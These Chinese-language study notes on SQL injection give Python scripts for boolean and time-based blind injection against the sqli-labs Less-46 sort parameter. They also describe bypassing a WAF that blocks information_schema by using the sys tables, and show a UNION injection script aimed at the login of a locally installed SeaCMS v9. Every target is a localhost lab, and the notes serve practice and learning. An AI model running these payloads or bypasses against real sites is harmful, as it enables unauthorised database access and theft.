1.sqlin-lib 46关
打开网站配置文件发现
此网站的对ID进行了排序,我们可以知道,order by接不了union ,那我们可以通过测试sort,rond等函数,观察网页的反馈来判断我们的盲注是否正确
我们发现
当参数有sort来排序时,我们获得的回显
对于布尔盲注
import requests
from bs4 import BeautifulSoup# 函数:解析响应内容
def get_content(resp):# 使用 BeautifulSoup 解析 HTMLsoup = BeautifulSoup(resp.text, 'html.parser')# 查找特定的 HTML 元素,根据目标页面的结构进行调整username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username_elem.text.strip() if username_elem else None# 函数:二分查找注入
def binary_search_injection(base_url, sql_query_template, max_length=100):result = [] # 存储结果for i in range(1, max_length + 1):left, right = 32, 127 # ASCII 范围while left <= right:mid = (left + right) // 2 # 中间值# 构造注入 URLurl = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))try:# 发送请求resp = requests.get(url)content = get_content(resp)# 根据响应内容调整搜索范围if content == 'Dumb':left = mid + 1else:right = mid - 1except Exception as e:print(f"请求 {url} 失败: {e}")break# 确定当前字符if left <= 127 and left >= 32:char = chr(left)if char.isspace():break # 空格表示结束result.append(char)print(''.join(result))else:break # 超出范围,结束return ''.join(result)# 主程序
if __name__ == '__main__':# 目标 URL(包含 {sql_query} 占位符)base_url = "http://localhost:8080/Less-46/index.php?sort={sql_query} -- "# SQL 查询模板(爆破数据库名)database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"# 调用函数爆破数据库名database_name = binary_search_injection(base_url, database_query)print(f"\nDatabase Name: {database_name}")
时间盲注
import requests
import timedef time_blind_injection(base_url, sql_query_template, max_length=100):result = []for i in range(1, max_length + 1):left, right = 32, 127char_found = Falsewhile left <= right:mid = (left + right) // 2payload = sql_query_template.replace('{index}', str(i)).replace('{mid_char}', str(mid))url = f"{base_url}?sort={payload}"try:start_time = time.time()response = requests.get(url)end_time = time.time()elapsed_time = end_time - start_timeexcept Exception as e:print(f"请求失败: {e}")breakif elapsed_time > 5:left = mid + 1else:right = mid - 1if left <= 127 and left >= 32:final_char = chr(left)else:break result.append(final_char)print(f"Extracted: {''.join(result)}")return ''.join(result)if __name__ == '__main__':base_url = "http://localhost:8080/Less-46/index.php"database_query_template = "if(ascii(substr(database(),{index},1))>{mid_char},sleep(5),id)"extracted_data = time_blind_injection(base_url, database_query_template)print(f"\nDatabase Name: {extracted_data}")
2.WAF过滤information_schema
--1.介绍
information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。
获取所有数据库列表
SELECT schema_name FROM information_schema.schemata;
查询某数据库下所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';
表下的字段
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';
--2.危害
如何不屏蔽这个库,那么当骇入到网站时,网站的所有数据库(MySQL型)的信息将全部暴露,从而更容易被骇入成功
--3.屏蔽后的绕过
-1.我们最容易想到的就是我们使用UNcode等编码来混淆我们的测试代码,但是一般来说这种方式是掩耳盗铃,因为我们的代码到最后都在WAF这里原形毕露,一般来说是不行的
-2. 这个库不行,换一个库,我们可以使用其他的库来完成这个操作
比如:
performance_schema:主要存储了数据库服务的性能参数
MySQL:主要存储了系统的用户权限信息和帮助文档
sys:5.7后新增产物:information_schema和performance_schema的结合体,并以视图的形式显示出来的,能够查询出更令人容易理解的数据。
例如:
sys.schemas
、sys.tables
、sys.columns
-3.报错注入,一般来说服务器都会屏蔽回显,这个方法一般行不通
3.海洋cms9版本的注入
本地安装
1.下载解压后,放在新建文件夹里面,使用快速搭建的软件(以小皮为例子)
选择目录
在浏览器在打开index.php
然后跟着走
记住账号
设置数据库,小皮这里的账号和密码都是root
进入网站
打开登录界面,查看源代码发现
<?php
session_start();
require_once("include/common.php");
//前置跳转start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳转end
require_once(sea_INC."/main.class.php");
if($cfg_user==0)
{ShowMsg('系统已关闭会员功能!','index.php');exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //构造session安全码
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{if($cfg_feedback_ck=='1'){$validate = empty($validate) ? '' : strtolower(trim($validate));if($validate=='' || $validate != $svali){ResetVdValue();ShowMsg('验证码不正确!','-1');exit();}}if($userid==''){ShowMsg('请输入用户名!','-1');exit();}if($pwd==''){ShowMsg('请输入密码!','-1');exit();}$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd){//验证是否激活邮箱require_once('data/admin/smtp.php');if($smtpreg=='on'){$sql="SELECT acode FROM sea_member where username= '$userid'"; $row = $dsql->GetOne($sql);if($row['acode']!='y'){showMsg("您的账户尚未激活,请激活后登陆!","index.php",0,100000);exit;}}$_SESSION['sea_user_id'] = $row1['id'];$uid=$row1['id'];$_SESSION['sea_user_name'] = $row1['username'];if($row1['vipendtime']<time()){$_SESSION['sea_user_group'] = 2;$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");$_SESSION['hashstr']=$hashstr;$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");if($row1['gid'] !=2){ShowMsg("您购买的会员组已到期,请注意续费!<br>成功登录!","member.php",0,30000);}else{ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);}}else{$_SESSION['sea_user_group'] = $row1['gid'];$_SESSION['hashstr']=$hashstr;$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);}exit();}else{ShowMsg("密码错误或账户已被禁用","login.php",0,3000);exit();}
}
else
{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4 AND $GLOBALS['isMobile']==1){$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}$content=loadFile($tempfile);$t=$content;$t=$mainClassObj->parseTopAndFoot($t);$t=$mainClassObj->parseHistory($t);$t=$mainClassObj->parseSelf($t);$t=$mainClassObj->parseGlobal($t);$t=$mainClassObj->parseAreaList($t);$t=$mainClassObj->parseNewsAreaList($t);$t=$mainClassObj->parseMenuList($t,"");$t=$mainClassObj->parseVideoList($t,-444);$t=$mainClassObj->parseNewsList($t,-444);$t=$mainClassObj->parseTopicList($t);$t=replaceCurrentTypeId($t,-444);$t=$mainClassObj->parseIf($t);if($cfg_feedback_ck=='1'){$t=str_replace("{login:viewLogin}",viewLogin(),$t);}else{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}$t=str_replace("{login:main}",viewMain(),$t);$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);$t=str_replace("{seacms:member}",front_member(),$t);echo $t;exit();
}function viewMain(){$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."会员登录</h3></div>";return $main;
}function viewLogin(){$mystr=
"<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?点击更换\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"验证码\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</ul>";return $mystr;
}function viewLogin2(){$mystr="<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</form>".
"</ul>";return $mystr;
}
发现,在这个地方
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
它是直接使用用户的ID去查询的,那么我们有机会从这里下手
import requestsdef get_database_names(url):# 构造 SQL 注入查询payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"data = {"dopost": "login","userid": payload,"pwd": "anything"}try:response = requests.post(url, data=data)return response.textexcept requests.exceptions.RequestException as e:print(f"请求失败: {e}")return Nonedef extract_database_names(response_text):database_names = []lines = response_text.split("\n")for line in lines:if "<td>" in line:parts = line.split("<td>")for part in parts[1:]:name = part.split("</td>")[0].strip()if name not in database_names and name:database_names.append(name)return database_namesif __name__ == '__main__':# 目标 URLtarget_url = "http://localhost:8000/login.php"response = get_database_names(target_url)print(response)if response:databases = extract_database_names(response)print("已获取到以下数据库名称:")for db in databases:print(db)else:print("无法获取数据库名称。")
期望得到
{'username': 'admin', 'password': '5f4dcc3b5aa765d61d8327deb882cf99'}
{'username': 'user', 'password': '25d55ad283aa400af464c76d713c07ad'}
但是回显报错
<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>